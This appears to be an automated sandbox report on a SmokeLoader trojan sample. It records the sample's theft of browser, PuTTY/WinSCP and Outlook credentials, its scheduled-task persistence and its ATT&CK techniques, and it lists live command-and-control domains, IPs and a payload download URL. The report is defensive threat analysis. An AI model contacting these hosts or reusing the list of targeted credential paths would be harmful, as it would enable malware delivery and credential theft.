Source: Yara match	File source: 00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000011.00000002.4578892665.00000000005C1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2736, type: MEMORYSTR
Source: Yara match	File source: 00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	11 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	522 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	1 Credentials in Registry	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	11 Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	34 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	34 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	522 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
O4zPA1oI9Y.exe	79%	ReversingLabs	Win32.Trojan.SmokeLoader
O4zPA1oI9Y.exe	100%	Avira	HEUR/AGEN.1312571
O4zPA1oI9Y.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\jvgasii	100%	Avira	HEUR/AGEN.1312571
C:\Users\user\AppData\Local\Temp\8CAE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jvgasii	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\uegasii	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DE97.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8CAE.exe	42%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Roaming\jvgasii	79%	ReversingLabs	Win32.Trojan.SmokeLoader

Source	Detection	Scanner	Label
https://api.msn.com/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
ninjahallnews.com	23.145.40.168	true	true	unknown
nwgrus.ru	160.177.223.165	true	true	unknown
18.31.95.13.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://23.145.40.164/ksa9104.exe	true	unknown
https://ninjahallnews.com/search.php	true	unknown
https://fallhandbat.com/search.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://api.msn.com/I	explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ninjahallnews.com/search.phpMozilla/5.0	explorer.exe, 0000000D.00000002.3226508578.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3175208514.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4580797896.00000000031C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4580427782.0000000000949000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4580422286.0000000002A68000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4580424413.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://word.office.comM	explorer.exe, 00000002.00000000.2222332214.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.micro	explorer.exe, 00000002.00000000.2218524683.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2216870595.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2218534895.0000000007B60000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/e	explorer.exe, 00000002.00000000.2219776484.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000002.00000000.2222332214.000000000C36B000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false		unknown
https://ninjahallnews.com/	explorer.exe, 0000000D.00000002.3226508578.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.3226508578.0000000002ABB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ninjahallnews.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 0000000D.00000002.3226508578.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://excel.office.com-	explorer.exe, 00000002.00000000.2222332214.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ninjahallnews.com/search.phpo	explorer.exe, 0000000D.00000002.3226508578.0000000002A60000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://powerpoint.office.comEMd	explorer.exe, 00000002.00000000.2222332214.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ninjahallnews.com/earch.php;L	explorer.exe, 0000000D.00000002.3226508578.0000000002A60000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000002.00000000.2222332214.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.come	explorer.exe, 00000002.00000000.2222332214.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000002.00000000.2219776484.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/	explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei	explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ninjahallnews.com//	explorer.exe, 0000000D.00000002.3226508578.0000000002A38000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.145.40.168	ninjahallnews.com	Reserved	22631	SURFAIRWIRELESS-IN-01US	true
190.249.249.14	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	true
23.145.40.164	unknown	Reserved	22631	SURFAIRWIRELESS-IN-01US	true
160.177.223.165	nwgrus.ru	Morocco	36903	MT-MPLSMA	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529186
Start date and time:	2024-10-08 18:22:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	O4zPA1oI9Y.exe renamed because original name is a hash value
Original Sample Name:	2942cb9fca04e939af4ed1eef717e123.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@61/15@9/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 166 Number of non-executed functions: 92
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.113.103.199, 4.245.163.56, 172.202.163.200, 20.12.23.50, 40.115.3.253
Excluded domains from analysis (whitelisted): client.wns.windows.com, wns.notify.trafficmanager.net, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: O4zPA1oI9Y.exe

Simulations

Behavior and APIs

Time	Type	Description
12:23:13	API Interceptor	331614x Sleep call for process: explorer.exe modified
12:24:56	API Interceptor	14x Sleep call for process: WMIC.exe modified
18:23:24	Task Scheduler	Run new task: Firefox Default Browser Agent 2F0F3A93C35A146B path: C:\Users\user\AppData\Roaming\jvgasii
18:24:18	Task Scheduler	Run new task: Firefox Default Browser Agent 55CFE31E989DA996 path: C:\Users\user\AppData\Roaming\uegasii

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
23.145.40.168	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse
	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse
23.145.40.164	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse
	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nwgrus.ru	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse	181.52.122.51
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse	63.143.98.185
	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse	180.75.11.133
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	105.197.97.247
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	185.12.79.25
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	197.164.156.210
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	190.147.128.172
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	177.129.90.106
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	190.147.2.86
ninjahallnews.com	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.168
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.168
	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.168
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.168
bg.microsoft.map.fastly.net	Y1ZqkGzvKm.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	Y1ZqkGzvKm.exe	Get hash	malicious	VIP Keylogger	Browse	199.232.210.172
	https://www.google.com.bo/url?url=https://coqjcqixwpeuzndc&hpj=jguragr&fwbtzg=qoe&ffzzf=olnshn&aes=fvotjnl&garqe=txbrxc&emrj=ycbtmrgd&uwzlcgsurn=eygnbnharg&q=amp/jhjn24u.v%C2%ADvg%C2%ADzy%C2%ADnp%C2%ADe%C2%ADw%C2%ADl%C2%ADkkukl.com%E2%80%8B/4b3puorbt&vijx=zlglfoj&qcobrch=pupf&cjaim=omgedz&guneqiu=xqm&d=DwMFAg	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://js.schema-forms.org	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://u9313450.ct.sendgrid.net/ls/click?upn=u001.ZfA-2BqTl2mXIVteOCc-2BANg3DC2QYjSoauaoyveU6MGzQ5VY-2FjA-2F-2FRincDy1KlklBXiPJP_QABV8lal1FXq8md0G3-2FIRFNEx2OV-2FLWSv5ByAZvXcaLdzn8wfCvTlDds0ovRZhRFzHNfaxKr2UfovDpEFdLigcTlhUu24CyUOQvOCn6w-2BHb3x6-2BV4Gc9geo2lLTncL6JUMk6T71-2BqjLFsmgG-2BXpvetiYOby06i5CliURFDYqQTT1C2IqhXHNpvN85ZEXfc5YBJaPCdYG7GCx3syxYrFYTqrHhY55-2BpbwTxDCwDN1-2BlowHglPUt5r1G9-2FvJEFg-2F5ssADCqEBOqtEhmmm5GgEypOrZiDwmybFJCcbqY1CFgUEEhAhZH7kmvwleWNlpfoBd	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://customer.thewayofmoney.us	Get hash	malicious	Unknown	Browse	199.232.210.172
	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse	199.232.210.172
	Salary Increase Letter_Oct 2024.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.214.172
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SURFAIRWIRELESS-IN-01US	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
SURFAIRWIRELESS-IN-01US	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
